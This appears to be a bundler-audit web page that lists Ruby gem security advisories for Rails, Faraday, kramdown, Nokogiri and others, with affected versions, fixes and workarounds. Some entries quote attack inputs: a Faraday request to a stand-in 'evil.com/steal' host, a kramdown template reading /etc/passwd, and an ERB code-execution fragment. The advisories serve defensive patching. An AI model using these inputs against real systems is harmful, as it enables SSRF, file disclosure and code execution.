Upload your Gemfile.lock to find vulnerabilities in your application. This tool uses bundler-audit to audit your Gemfile using a database of known vulnerabilities.
Your privacy is important to us, we won't share this information with anyone, ever.
There is potentially unexpected behaviour in the MemCacheStore and RedisCacheStore where, when
untrusted user input is written to the cache store using the raw: true parameter, re-reading the result
from the cache can evaluate the user input as a Marshalled object instead of plain text. Vulnerable code looks like:
data = cache.fetch("demo", raw: true) { untrusted_string }
Versions Affected: rails < 5.2.5, rails < 6.0.4
Not affected: Applications not using MemCacheStore or RedisCacheStore. Applications that do not use the raw option when storing untrusted user input.
Fixed Versions: rails >= 5.2.4.3, rails >= 6.0.3.1
Unmarshalling of untrusted user input can have impact up to and including RCE. At a minimum, this vulnerability allows an attacker to inject untrusted Ruby objects into a web application.
In addition to upgrading to the latest versions of Rails, developers should ensure that whenever
they are calling Rails.cache.fetch they are using consistent values of the raw parameter for both
reading and writing, especially in the case of the RedisCacheStore which does not, prior to these changes,
detect if data was serialized using the raw option upon deserialization.
It is recommended that application developers apply the suggested patch or upgrade to the latest release as
soon as possible. If this is not possible, we recommend ensuring that all user-provided strings cached using
the raw argument should be double-checked to ensure that they conform to the expected format.
There is a possible regular expression based DoS vulnerability in Active Support. This vulnerability has been assigned the CVE identifier CVE-2023-22796.
Versions Affected: All Not affected: None Fixed Versions: 6.1.7.1, 7.0.4.1
A specially crafted string passed to the underscore method can cause the regular expression engine to enter a state of catastrophic backtracking. This can cause the process to use large amounts of CPU and memory, leading to a possible DoS vulnerability.
This affects String#underscore, ActiveSupport::Inflector.underscore, String#titleize, and any other methods using these.
All users running an affected release should either upgrade or use one of the workarounds immediately.
There are no feasible workarounds for this issue.
Users on Ruby 3.2.0 or greater may be able to reduce the impact by configuring Regexp.timeout.
There is a vulnerability in ActiveSupport if the new bytesplice method is called on a SafeBuffer with untrusted user input. This vulnerability has been assigned the CVE identifier CVE-2023-28120.
Versions Affected: All. Not affected: None Fixed Versions: 7.0.4.3, 6.1.7.3
ActiveSupport uses the SafeBuffer string subclass to tag strings as htmlsafe after they have been sanitized. When these strings are mutated, the tag is should be removed to mark them as no longer being htmlsafe.
Ruby 3.2 introduced a new bytesplice method which ActiveSupport did not yet understand to be a mutation. Users on older versions of Ruby are likely unaffected.
All users running an affected release and using bytesplice should either upgrade or use one of the workarounds immediately.
Avoid calling bytesplice on a SafeBuffer (html_safe) string with untrusted user input.
NumberToDelimitedConverter used a regular expression with gsub! to insert thousands delimiters.
This could produce quadratic time complexity on long digit strings.
The fixed releases are available at the normal locations.
SafeBuffer#% does not propagate the @html_unsafe flag to the newly created buffer.
If a SafeBuffer is mutated in place (e.g. via gsub!) and then formatted with % using untrusted arguments,
the result incorrectly reports html_safe? == true, bypassing ERB auto-escaping and possibly leading to XSS.
The fixed releases are available at the normal locations.
Active Support number helpers accept strings containing scientific notation (e.g. 1e10000),
which when converted to a string could be expanded into extremely large decimal representations.
This can cause excessive memory allocation and CPU consumption when the expanded number is formatted,
possibly resulting in a DoS vulnerability.
The fixed releases are available at the normal locations.
Within the URI template implementation in Addressable, a maliciously crafted template may result in uncontrolled resource consumption, leading to denial of service when matched against a URI. In typical usage, templates would not normally be read from untrusted user input, but nonetheless, no previous security advisory for Addressable has cautioned against doing this. Users of the parsing capabilities in Addressable but not the URI template capabilities are unaffected.
Within the URI template implementation in Addressable, two classes of URI template generate regular expressions vulnerable to catastrophic backtracking:
Templates using the * (explode) modifier with any expansion
operator (e.g., {foo*}, {+var*}, {#var*}, {/var*},
{.var*}, {;var*}, {?var*}, {&var*}) generate patterns
with nested unbounded quantifiers that are O(2^n) when matched
against a maliciously crafted URI.
Templates using multiple variables with the + or # operators
(e.g., {+v1,v2,v3}) generate patterns with O(n^k) complexity
due to the comma separator being within the matched character
class, causing ambiguous backtracking across k variables.
When matched against a maliciously crafted URI, this can result in catastrophic backtracking and uncontrolled resource consumption, leading to denial of service. The first pattern was partially addressed in 2.8.10 for certain operator combinations. Both patterns are fully remediated in 2.9.0.
Users of the URI parsing capabilities in Addressable but not the URI template matching capabilities are unaffected.
This vulnerability affects Addressable >= 2.3.0 (note: 2.3.0 and 2.3.1 were yanked; the earliest installable release is 2.3.2). It was partially fixed in version 2.8.10 and fully remediated in 2.9.0.
The vulnerability is more exploitable on MRI Ruby < 3.2 and on all versions of JRuby and TruffleRuby. MRI Ruby 3.2 and later ship with Onigmo 6.9, which introduces memoization that prevents catastrophic backtracking for the first class of template. JRuby and TruffleRuby do not implement equivalent memoization and remain vulnerable to all patterns.
This has been confirmed on the following runtimes:
| Runtime | Status | |--------------|--------| | MRI Ruby 2.6 | Vulnerable | | MRI Ruby 2.7 | Vulnerable | | MRI Ruby 3.0 | Vulnerable | | MRI Ruby 3.1 | Vulnerable | | MRI Ruby 3.2 | Partially vulnerable | | MRI Ruby 3.3 | Partially vulnerable | | MRI Ruby 3.4 | Partially vulnerable | | MRI Ruby 4.0 | Partially vulnerable | | JRuby 10.0 | Vulnerable | | TruffleRuby 21.2 | Vulnerable |
Upgrade to MRI Ruby 3.2 or later, if your application does
not use JRuby or TruffleRuby. The Onigmo memoization introduced
in MRI Ruby 3.2 prevents catastrophic backtracking from nested
unbounded quantifiers (pattern 1 above — templates using the *
modifier). It does not reliably mitigate the O(n^k) multi-variable
case (pattern 2), so upgrading Ruby alone may not be sufficient
if your templates use {+v1,v2,...} or {#v1,v2,...} syntax.
Avoid using vulnerable template patterns when matching user-supplied input on unpatched versions of the library:
* (explode) modifier: {foo*}, {+var*},
{#var*}, {.var*}, {/var*}, {;var*}, {?var*}, {&var*}+ or #
operators: {+v1,v2}, {#v1,v2,v3}, etc.Apply a short timeout around any call to Template#match
or Template#extract that processes user-supplied data.
Discovered in collaboration with @jamfish.
If you have any questions or comments about this advisory: * Open an issue
Several quadratic complexity bugs in commonmarker's underlying
cmark-gfm library may
lead to unbounded resource exhaustion and subsequent denial of service.
The following vulnerabilities were addressed:
For more information, consult the release notes for version
0.29.0.gfm.12.
Users are advised to upgrade to commonmarker version
0.23.10.
CommonMarker uses cmark-gfm for rendering
Github Flavored Markdown.
An integer overflow in cmark-gfm's table row parsing
may lead to heap memory corruption when parsing tables who's marker
rows contain more than UINT16_MAX columns. The impact of this heap
corruption ranges from Information Leak to Arbitrary Code Execution.
If affected versions of CommonMarker are used for rendering remote user controlled markdown, this vulnerability may lead to Remote Code Execution (RCE).
This vulnerability has been patched in the following CommonMarker release:
The vulnerability exists in the table markdown extensions of
cmark-gfm. Disabling any use of the table extension will prevent
this vulnerability from being triggered.
We would like to thank Felix Wilhelm of Google's Project Zero for reporting this vulnerability
If you have any questions or comments about this advisory:
Several quadratic complexity bugs in commonmarker's underlying cmark-gfm library may lead to unbounded resource exhaustion and subsequent denial of service.
The following vulnerabilities were addressed: * CVE-2023-24824 * CVE-2023-26485
For more information, consult the release notes for versions 0.23.0.gfm.10 and 0.23.0.gfm.11.
Users are advised to upgrade to commonmarker version 0.23.9
CommonMarker uses cmark-gfm for rendering Github Flavored
Markdown. A polynomial time complexity issue
in cmark-gfm's autolink extension may lead to unbounded resource exhaustion
and subsequent denial of service.
This vulnerability has been patched in the following CommonMarker release:
Disable use of the autolink extension.
https://en.wikipedia.org/wiki/Time_complexity
Several quadratic complexity bugs in commonmarker's underlying cmark-gfm
library may lead to unbounded resource exhaustion and subsequent denial of service.
The following vulnerabilities were addressed:
For more information, consult the release notes for version
0.23.0.gfm.7.
Users are advised to upgrade to commonmarker version 0.23.7.
Concurrent::AtomicReference#update can enter a permanent busy retry
loop when the current value is Float::NAN.
The issue is caused by the interaction between:
- AtomicReference#update, which retries until compare_and_set(old_value,
new_value) succeeds.
- Numeric compare_and_set, which checks old == old_value before
attempting the underlying atomic swap.
- Ruby NaN semantics, where Float::NAN == Float::NAN is always false.
As a result, once an AtomicReference contains Float::NAN, calling
#update repeatedly evaluates the caller's block and never returns.
In services that store externally derived numeric values in an
AtomicReference, this can cause CPU exhaustion or permanent
request/job hangs.
This is an application-level denial of service issue. If an application
stores externally derived numeric data in a Concurrent::AtomicReference,
an attacker or faulty upstream data source may be able to cause the
stored value to become Float::NAN. Any later call to
AtomicReference#update on that reference will spin indefinitely,
repeatedly executing the update block and consuming CPU.
Pranjali Thakur - depthfirst (depthfirst.com)
Concurrent::ReentrantReadWriteLock can incorrectly grant a write lock
after one thread acquires the read lock 32,768 times.
The lock stores a thread's local read and write hold counts in one
integer. The low 15 bits are used for the read hold count, and bit 15
is used as WRITE_LOCK_HELD. After 32,768 reentrant read acquisitions,
the local read count crosses into the write-lock bit. try_write_lock
then treats the thread as already holding a write lock and returns
true without setting the global RUNNING_WRITER bit.
This breaks the core mutual-exclusion guarantee: the caller is told it has a write lock, but other threads can still hold or acquire read locks at the same time.
This breaks the write-lock exclusivity guarantee. After the overflow, a thread can be told it has acquired the write lock while other threads can still hold or acquire read locks, allowing races and inconsistent reads of protected mutable state.
Pranjali Thakur - depthfirst (depthfirst.com)
Concurrent::ReadWriteLock#release_write_lock does not verify that the
calling thread acquired the write lock. Any thread with access to the
lock object can release an active write lock held by another thread. A
second writer can then enter its critical section while the first writer
is still running.
Concurrent::ReadWriteLock#release_read_lock also decrements the shared
counter even when no read lock is held. Calling it on a fresh lock
changes the counter from 0 to -1, after which normal read acquisition
raises Concurrent::ResourceLimitError.
This is a synchronization correctness issue in the public
Concurrent::ReadWriteLock API. It should not be framed as an
authorization bypass; the lock is an in-process concurrency primitive,
not an access-control boundary.
This can break the write-lock mutual exclusion guarantee and can also
leave a lock unusable after a stray read release.
The impact is local to applications that expose or misuse the manual
acquire_* / release_* APIs. If the lock protects integrity-sensitive
mutable state, wrong-thread write release can allow concurrent writers
and data races. The stray read-release path can cause denial of service
by corrupting the lock counter.
Pranjali Thakur - depthfirst (depthfirst.com)
Faraday's build_exclusive_url method (in lib/faraday/connection.rb)
uses Ruby's URI#merge to combine the connection's base URL with
a user-supplied path. Per RFC 3986, protocol-relative URLs
(e.g. //evil.com/path) are treated as network-path references
that override the base URL's host/authority component.
This means that if any application passes user-controlled input to
Faraday's get(), post(), build_url(), or other request
methods, an attacker can supply a protocol-relative URL like
//attacker.com/endpoint to redirect the request to an
arbitrary host, enabling Server-Side Request Forgery (SSRF).
The ./ prefix guard added in v2.9.2 (PR #1569) explicitly exempts
URLs starting with /, so protocol-relative URLs bypass it entirely.
Example ```ruby conn = Faraday.new(url: 'https://api.internal.com') conn.get('//evil.com/steal')
### Patches
Faraday v2.14.1 is patched against this security issue. All
versions of Faraday up to 2.14.0 are affected.
### Workarounds
**NOTE: Upgrading to Faraday v2.14.1+ is the recommended action
to mitigate this issue, however should that not be an option
please continue reading.**
Applications should validate and sanitize any user-controlled
input before passing it to Faraday request methods.
Specifically:
- Reject or strip input that starts with // followed by a
non-/ character.
- Use an allowlist of permitted path prefixes.
- Alternatively, prepend ./ to all user-supplied paths before
passing them to Faraday.
Example validation:
```ruby
def safe_path(user_input)
raise ArgumentError, "Invalid path" if user_input.match?(r{\A//[^/]})
user_input
end
Exhaustion DoS via Deeply Nested Query Parameters
Faraday::NestedParamsEncoder, the default nested query parameter
encoder/decoder in Faraday, decodes nested query strings without
enforcing a maximum nesting depth.
A crafted query string such as:
a[x][x][x][x]...[x]=1
causes Faraday to build a deeply nested Ruby Hash structure. The
internal dehash routine then recursively walks this attacker-controlled
structure without a depth limit. At sufficient depth, Ruby raises an
uncaught SystemStackError (stack level too deep), crashing the
calling thread or worker.
This can lead to denial of service in applications that pass attacker-controlled query strings to Faraday's nested query parsing or URL-building paths.
A relatively small query string can trigger a SystemStackError and
crash the calling Ruby thread or worker.
In my local test environment, a payload of approximately 9.4 KB was sufficient:
depth=3119
bytes=9360
result=SystemStackError
message="stack level too deep"
Repeated requests with such payloads may cause a denial of service against applications whose request path forwards, parses, or rebuilds attacker-controlled query strings through Faraday.
This issue does not provide remote code execution, authentication bypass, or data disclosure. The confirmed impact is availability loss.
The fix was released in Faraday 2.14.3 and backported to the 1.x
branch in Faraday 1.10.6, which adds a param_depth_limit to
NestedParamsEncoder.
Reported by: Emre Koca
ruby-ffi version 1.9.23 and earlier has a DLL loading issue which can be hijacked on Windows OS, when a Symbol is used as DLL name instead of a String This vulnerability appears to have been fixed in v1.9.24 and later.
Jekyll through 3.6.2, 3.7.x through 3.7.3, and 3.8.x through 3.8.3 allows attackers to access arbitrary files by specifying a symlink in the "include" key in the "_config.yml" file.
The kramdown gem before 2.3.0 for Ruby processes the template option inside Kramdown documents by default, which allows unintended read access (such as template="/etc/passwd") or unintended embedded Ruby code execution (such as a string that begins with template="string://<%= `). NOTE: kramdown is used in Jekyll, GitLab Pages, GitHub Pages, and Thredded Forum.
Kramdown before 2.3.1 does not restrict Rouge formatters to the Rouge::Formatters namespace, and thus arbitrary classes can be instantiated.
Nokogiri 1.8.5 has been released.
This is a security and bugfix release. It addresses two CVEs in upstream libxml2 rated as "medium" by Red Hat, for which details are below.
If you're using your distro's system libraries, rather than Nokogiri's vendored libraries, there's no security need to upgrade at this time, though you may want to check with your distro whether they've patched this (Canonical has patched Ubuntu packages). Note that these patches are not yet (as of 2018-10-04) in an upstream release of libxml2.
Full details about the security update are available in Github Issue #1785.
[MRI] Pulled in upstream patches from libxml2 that address CVE-2018-14404 and CVE-2018-14567. Full details are available in #1785. Note that these patches are not yet (as of 2018-10-04) in an upstream release of libxml2.
CVE-2018-14404
Permalink:
https://people.canonical.com/~ubuntu-security/cve/2018/CVE-2018-14404.html
Description:
A NULL pointer dereference vulnerability exists in the xpath.c:xmlXPathCompOpEval() function of libxml2 through 2.9.8 when parsing an invalid XPath expression in the XPATHOPAND or XPATHOPOR case. Applications processing untrusted XSL format inputs with the use of the libxml2 library may be vulnerable to a denial of service attack due to a crash of the application
Canonical rates this vulnerability as "Priority: Medium"
CVE-2018-14567
Permalink:
https://people.canonical.com/~ubuntu-security/cve/2018/CVE-2018-14567.html
Description:
infinite loop in LZMA decompression
Canonical rates this vulnerability as "Priority: Medium"
Nokogiri v1.13.4 updates the vendored zlib from 1.2.11 to 1.2.12, which addresses CVE-2018-25032. That CVE is scored as CVSS 7.4 "High" on the NVD record as of 2022-04-05.
Please note that this advisory only applies to the CRuby implementation of
Nokogiri < 1.13.4, and only if the packaged version of zlib is being used.
Please see this document
for a complete description of which platform gems vendor zlib. If you've
overridden defaults at installation time to use system libraries instead of
packaged libraries, you should instead pay attention to your distro's zlib
release announcements.
Upgrade to Nokogiri >= v1.13.4.
[MRI] Behavior in libxml2 has been reverted which caused CVE-2018-8048 (loofah gem), CVE-2018-3740 (sanitize gem), and CVE-2018-3741 (rails-html-sanitizer gem). The commit in question is here:
https://github.com/GNOME/libxml2/commit/960f0e2
and more information is available about this commit and its impact here:
https://github.com/flavorjones/loofah/issues/144
This release simply reverts the libxml2 commit in question to protect users of Nokogiri's vendored libraries from similar vulnerabilities.
If you're offended by what happened here, I'd kindly ask that you comment on the upstream bug report here:
https://bugzilla.gnome.org/show_bug.cgi?id=769760
Nokogiri v1.10.3 has been released.
This is a security release. It addresses a CVE in upstream libxslt rated as "Priority: medium" by Canonical, and "NVD Severity: high" by Debian. More details are available below.
If you're using your distro's system libraries, rather than Nokogiri's vendored libraries, there's no security need to upgrade at this time, though you may want to check with your distro whether they've patched this (Canonical has patched Ubuntu packages). Note that this patch is not yet (as of 2019-04-22) in an upstream release of libxslt.
Full details about the security update are available in Github Issue [#1892] https://github.com/sparklemotion/nokogiri/issues/1892.
CVE-2019-11068
Permalinks are: - Canonical: https://people.canonical.com/~ubuntu-security/cve/CVE-2019-11068 - Debian: https://security-tracker.debian.org/tracker/CVE-2019-11068
Description:
libxslt through 1.1.33 allows bypass of a protection mechanism because callers of xsltCheckRead and xsltCheckWrite permit access even upon receiving a -1 error code. xsltCheckRead can return -1 for a crafted URL that is not actually invalid and is subsequently loaded.
Canonical rates this as "Priority: Medium".
Debian rates this as "NVD Severity: High (attack range: remote)".
Nokogiri v1.10.5 has been released.
This is a security release. It addresses three CVEs in upstream libxml2, for which details are below.
If you're using your distro's system libraries, rather than Nokogiri's vendored libraries, there's no security need to upgrade at this time, though you may want to check with your distro whether they've patched this (Canonical has patched Ubuntu packages). Note that libxslt 1.1.34 addresses these vulnerabilities.
Full details about the security update are available in Github Issue [#1943] https://github.com/sparklemotion/nokogiri/issues/1943.
CVE-2019-13117
https://people.canonical.com/~ubuntu-security/cve/2019/CVE-2019-13117.html
Priority: Low
Description: In numbers.c in libxslt 1.1.33, an xsl:number with certain format strings could lead to a uninitialized read in xsltNumberFormatInsertNumbers. This could allow an attacker to discern whether a byte on the stack contains the characters A, a, I, i, or 0, or any other character.
Patched with commit https://gitlab.gnome.org/GNOME/libxslt/commit/c5eb6cf3aba0af048596106ed839b4ae17ecbcb1
CVE-2019-13118
https://people.canonical.com/~ubuntu-security/cve/2019/CVE-2019-13118.html
Priority: Low
Description: In numbers.c in libxslt 1.1.33, a type holding grouping characters of an xsl:number instruction was too narrow and an invalid character/length combination could be passed to xsltNumberFormatDecimal, leading to a read of uninitialized stack data
Patched with commit https://gitlab.gnome.org/GNOME/libxslt/commit/6ce8de69330783977dd14f6569419489875fb71b
CVE-2019-18197
https://people.canonical.com/~ubuntu-security/cve/2019/CVE-2019-18197.html
Priority: Medium
Description: In xsltCopyText in transform.c in libxslt 1.1.33, a pointer variable isn't reset under certain circumstances. If the relevant memory area happened to be freed and reused in a certain way, a bounds check could fail and memory outside a buffer could be written to, or uninitialized data could be disclosed.
Patched with commit https://gitlab.gnome.org/GNOME/libxslt/commit/2232473733b7313d67de8836ea3b29eec6e8e285
In numbers.c in libxslt 1.1.33, a type holding grouping characters of
an xsl:number instruction was too narrow and an invalid character/length
combination could be passed to xsltNumberFormatDecimal, leading to
a read of uninitialized stack data.
Nokogiri prior to version 1.10.5 used a vulnerable version of libxslt. Nokogiri 1.10.5 updated libxslt to version 1.1.34 to address this and other vulnerabilities in libxslt.
In xsltCopyText in transform.c in libxslt 1.1.33, a pointer variable isn't reset under certain circumstances. If the relevant memory area happened to be freed and reused in a certain way, a bounds check could fail and memory outside a buffer could be written to, or uninitialized data could be disclosed.
Nokogiri prior to version 1.10.5 contains a vulnerable version of libxslt. Nokogiri version 1.10.5 upgrades the dependency to libxslt 1.1.34, which contains a patch for this issue.
A command injection vulnerability in Nokogiri v1.10.3 and earlier allows
commands to be executed in a subprocess by Ruby's Kernel.open method.
Processes are vulnerable only if the undocumented method
Nokogiri::CSS::Tokenizer#load_file is being passed untrusted user input.
This vulnerability appears in code generated by the Rexical gem versions v1.0.6 and earlier. Rexical is used by Nokogiri to generate lexical scanner code for parsing CSS queries. The underlying vulnerability was addressed in Rexical v1.0.7 and Nokogiri upgraded to this version of Rexical in Nokogiri v1.10.4.
Upgrade to Nokogiri v1.10.4, or avoid calling the undocumented method
Nokogiri::CSS::Tokenizer#load_file with untrusted user input.
Type confusion in xsltNumberFormatGetMultipleLevel prior to
libxslt 1.1.33 could allow attackers to potentially exploit heap
corruption via crafted XML data.
Nokogiri prior to version 1.10.5 contains a vulnerable version of libxslt. Nokogiri version 1.10.5 upgrades the dependency to libxslt 1.1.34, which contains a patch for this issue.
In Nokogiri versions <= 1.11.0.rc3, XML Schemas parsed by Nokogiri::XML::Schema
are trusted by default, allowing external resources to be accessed over the
network, potentially enabling XXE or SSRF attacks.
This behavior is counter to the security policy followed by Nokogiri maintainers, which is to treat all input as untrusted by default whenever possible.
Please note that this security fix was pushed into a new minor version, 1.11.x, rather than a patch release to the 1.10.x branch, because it is a breaking change for some schemas and the risk was assessed to be "Low Severity".
Nokogiri <= 1.10.10 as well as prereleases 1.11.0.rc1, 1.11.0.rc2, and 1.11.0.rc3
There are no known workarounds for affected versions. Upgrade to Nokogiri
1.11.0.rc4 or later.
If, after upgrading to 1.11.0.rc4 or later, you wish
to re-enable network access for resolution of external resources (i.e., return to
the previous behavior):
Nokogiri::XML::Schema constructor,
pass as the second parameter an instance of Nokogiri::XML::ParseOptions with the
NONET flag turned off.So if your previous code was:
# in v1.11.0.rc3 and earlier, this call allows resources to be accessed over the network
# but in v1.11.0.rc4 and later, this call will disallow network access for external resources
schema = Nokogiri::XML::Schema.new(schema)
# in v1.11.0.rc4 and later, the following is equivalent to the code above
# (the second parameter is optional, and this demonstrates its default value)
schema = Nokogiri::XML::Schema.new(schema, Nokogiri::XML::ParseOptions::DEFAULT_SCHEMA)
Then you can add the second parameter to indicate that the input is trusted by changing it to:
# in v1.11.0.rc3 and earlier, this would raise an ArgumentError
# but in v1.11.0.rc4 and later, this allows resources to be accessed over the network
schema = Nokogiri::XML::Schema.new(trusted_schema, Nokogiri::XML::ParseOptions.new.nononet)
Nokogiri has backported the patch for CVE-2020-7595 into its vendored version of libxml2, and released this as v1.10.8
CVE-2020-7595 has not yet been addressed in an upstream libxml2 release, and so Nokogiri versions <= v1.10.7 are vulnerable.
Nokogiri v1.13.2 upgrades two of its packaged dependencies:
Those library versions address the following upstream CVEs:
Those library versions also address numerous other issues including performance improvements, regression fixes, and bug fixes, as well as memory leaks and other use-after-free issues that were not assigned CVEs.
Please note that this advisory only applies to the CRuby implementation of
Nokogiri < 1.13.2, and only if the packaged libraries are being used. If you've
overridden defaults at installation time to use system libraries instead of
packaged libraries, you should instead pay attention to your distro's libxml2
and libxslt release announcements.
Upgrade to Nokogiri >= 1.13.2.
Users who are unable to upgrade Nokogiri may also choose a more complicated mitigation: compile and link an older version Nokogiri against external libraries libxml2 >= 2.9.13 and libxslt >= 1.1.35, which will also address these same CVEs.
Fixed by https://gitlab.gnome.org/GNOME/libxslt/-/commit/50f9c9c
All versions of libxslt prior to v1.1.35 are affected.
Applications using untrusted XSL stylesheets to transform XML are vulnerable to a denial-of-service attack and should be upgraded immediately.
libxml2 CVE-2022-23308 * As of the time this security advisory was published, there is no officially published information available about this CVE's severity. The above NIST link does not yet have a published record, and the libxml2 maintainer has declined to provide a severity score. * Fixed by https://gitlab.gnome.org/GNOME/libxml2/-/commit/652dd12 * Further explanation is at https://mail.gnome.org/archives/xml/2022-February/msg00015.html
The upstream commit and the explanation linked above indicate that an application
may be vulnerable to a denial of service, memory disclosure, or code execution if
it parses an untrusted document with parse options DTDVALID set to true, and NOENT
set to false.
An analysis of these parse options:
NOENT is off by default for Document, DocumentFragment, Reader, and
Schema parsing, it is on by default for XSLT (stylesheet) parsing in Nokogiri
v1.12.0 and later.DTDVALID is an option that Nokogiri does not set for any operations, and so
this CVE applies only to applications setting this option explicitly.It seems reasonable to assume that any application explicitly setting the parse
option DTDVALID when parsing untrusted documents is vulnerable and should be
upgraded immediately.
There is a flaw in the xml entity encoding functionality of libxml2 in versions before 2.9.11. An attacker who is able to supply a crafted file to be processed by an application linked with the affected functionality of libxml2 could trigger an out-of-bounds read. The most likely impact of this flaw is to application availability, with some potential impact to confidentiality and integrity if an attacker is able to use memory information to further exploit the application.
Nokogiri prior to version 1.11.4 used a vulnerable version of libxml2. Nokogiri 1.11.4 updated libxml2 to version 2.9.11 to address this and other vulnerabilities in libxml2.
There's a flaw in libxml2 in versions before 2.9.11. An attacker who is able to submit a crafted file to be processed by an application linked with libxml2 could trigger a use-after-free. The greatest impact from this flaw is to confidentiality, integrity, and availability.
A vulnerability found in libxml2 in versions before 2.9.11 shows that it did not propagate errors while parsing XML mixed content, causing a NULL dereference. If an untrusted XML document was parsed in recovery mode and post-validated, the flaw could be used to crash the application. The highest threat from this vulnerability is to system availability.
The Nokogiri maintainers have evaluated this as High Severity 7.5 (CVSS3.0) for JRuby users. (This security advisory does not apply to CRuby users.)
In Nokogiri v1.12.4 and earlier, on JRuby only, the SAX parser resolves external entities by default.
Users of Nokogiri on JRuby who parse untrusted documents using any of these classes are affected:
JRuby users should upgrade to Nokogiri v1.12.5 or later. There are no workarounds available for v1.12.4 or earlier.
CRuby users are not affected.
Nokogiri v1.13.4 updates the vendored xerces:xercesImpl from 2.12.0 to
2.12.2, which addresses CVE-2022-23437.
That CVE is scored as CVSS 6.5 "Medium" on the NVD record.
Please note that this advisory only applies to the JRuby implementation
of Nokogiri < 1.13.4.
Upgrade to Nokogiri >= v1.13.4.
Nokogiri < v1.13.4 contains an inefficient regular expression that is
susceptible to excessive backtracking when attempting to detect encoding
in HTML documents.
Upgrade to Nokogiri >= 1.13.4.
Nokogiri v1.13.4 updates the vendored org.cyberneko.html library to
1.9.22.noko2 which addresses CVE-2022-24839.
That CVE is rated 7.5 (High Severity).
See GHSA-9849-p7jc-9rmv for more information.
Please note that this advisory only applies to the JRuby implementation of Nokogiri < 1.13.4.
Upgrade to Nokogiri >= 1.13.4.
org.cyberneko.html used by Nokogiri (Rubygem) raises a
java.lang.OutOfMemoryError exception when parsing ill-formed HTML markup.Nokogiri < v1.13.6 does not type-check all inputs into the XML and HTML4 SAX parsers.
For CRuby users, this may allow specially crafted untrusted inputs to cause illegal
memory access errors (segfault) or reads from unrelated memory.
The Nokogiri maintainers have evaluated this as High 8.2 (CVSS3.1).
CRuby users should upgrade to Nokogiri >= 1.13.6.
JRuby users are not affected.
To avoid this vulnerability in affected applications, ensure the untrusted input is a
String by calling #to_s or equivalent.
Nokogiri v1.13.9 upgrades the packaged version of its dependency libxml2 to v2.10.3 from v2.9.14.
libxml2 v2.10.3 addresses the following known vulnerabilities:
Please note that this advisory only applies to the CRuby implementation of
Nokogiri < 1.13.9, and only if the packaged libraries are being used. If
you've overridden defaults at installation time to use system libraries
instead of packaged libraries, you should instead pay attention to your
distro's libxml2 release announcements.
Upgrade to Nokogiri >= 1.13.9.
Users who are unable to upgrade Nokogiri may also choose a more complicated
mitigation: compile and link Nokogiri against external libraries libxml2
>= 2.10.3 which will also address these same issues.
Nokogiri maintainers investigated at #2620 and determined this CVE does not affect Nokogiri users.
See https://gitlab.gnome.org/GNOME/libxml2/-/commit/644a89e080bced793295f61f18aac8cfad6bece2
See https://gitlab.gnome.org/GNOME/libxml2/-/commit/c846986356fc149915a74972bf198abc266bc2c0
Nokogiri v1.18.9 patches the vendored libxml2 to address CVE-2025-6021, CVE-2025-6170, CVE-2025-49794, CVE-2025-49795, and CVE-2025-49796.
A flaw was found in libxml2's xmlBuildQName function, where integer overflows in buffer size calculations can lead to a stack-based buffer overflow. This issue can result in memory corruption or a denial of service when processing crafted input.
NVD claims a severity of 7.5 High (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)
Fixed by applying https://gitlab.gnome.org/GNOME/libxml2/-/commit/17d950ae
A flaw was found in the interactive shell of the xmllint command-line tool, used for parsing XML files. When a user inputs an overly long command, the program does not check the input size properly, which can cause it to crash. This issue might allow attackers to run harmful code in rare configurations without modern protections.
NVD claims a severity of 2.5 Low (CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:N/I:N/A:L)
Fixed by applying https://gitlab.gnome.org/GNOME/libxml2/-/commit/5e9ec5c1
A use-after-free vulnerability was found in libxml2. This issue
occurs when parsing XPath elements under certain circumstances when
the XML schematron has the
NVD claims a severity of 9.1 Critical (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H)
Fixed by applying https://gitlab.gnome.org/GNOME/libxml2/-/commit/81cef8c5
A NULL pointer dereference vulnerability was found in libxml2 when processing XPath XML expressions. This flaw allows an attacker to craft a malicious XML input to libxml2, leading to a denial of service.
NVD claims a severity of 7.5 High (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)
Fixed by applying https://gitlab.gnome.org/GNOME/libxml2/-/commit/62048278
A vulnerability was found in libxml2. Processing certain sch:name elements from the input XML file can trigger a memory corruption issue. This flaw allows an attacker to craft a malicious XML input file that can lead libxml to crash, resulting in a denial of service or other possible undefined behavior due to sensitive data being corrupted in memory.
NVD claims a severity of 9.1 Critical (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H)
Fixed by applying https://gitlab.gnome.org/GNOME/libxml2/-/commit/81cef8c5
Upgrade to Nokogiri v1.18.9 or later.
Users who are unable to upgrade Nokogiri may also choose a more complicated mitigation: compile and link Nokogiri against patched external libxml2 libraries which will also address these same issues.
Nokogiri::XML::NodeSet#[] (and its alias #slice) checked the requested
index against the node set's bounds using a 32-bit-truncated copy of the
index. A large negative index could pass the check and then be used at full
width, reading outside the node set's storage. On CRuby this is an
out-of-bounds read that typically crashes the process; on JRuby it is not
memory-unsafe but returns an incorrect node.
Nokogiri 1.19.4 performs the bounds check against the full-width index.
The Nokogiri maintainers have evaluated this as medium severity.
Exploitation requires an application to pass an attacker-controlled integer to
NodeSet#[]. The primary impact is a controlled crash (denial of service),
with potential for memory disclosure on CRuby.
On JRuby, Nokogiri is not affected by this vulnerability.
Upgrade to Nokogiri 1.19.4 or later.
As a workaround, applications that index a NodeSet with externally-supplied
integers can validate the index against node_set.length before use, or avoid
passing untrusted values as an index.
This issue was responsibly reported by Zheng Yu from depthfirst.com.
Calling Document#encoding= with an invalid encoding (e.g., a non-string, or
a string containing a null byte) raises an exception, but only after freeing
the document's current encoding string without replacing it. The document is
left referencing freed memory, so the next call to Document#encoding reads
invalid memory, which can cause a segfault or leak freed bytes into a Ruby
String.
Affects the CRuby (libxml2) implementation only; JRuby is not affected.
The Nokogiri maintainers have evaluated this as low severity. Reaching it
requires an unusual API-usage pattern that does not arise during normal use.
The application must pass an invalid encoding to Document#encoding=, rescue
the resulting exception, and then continue using the same document. Nokogiri
1.19.4 makes this pattern safe with no change to the public API. The document
no longer references freed memory after the exception is raised.
Upgrade to Nokogiri 1.19.4 or later.
If users are unable to upgrade, avoid passing attacker-controlled values to
Document#encoding=. Applications that only assign developer-authored
encodings are not directly exposed.
This issue was responsibly reported by Zheng Yu from depthfirst.com.
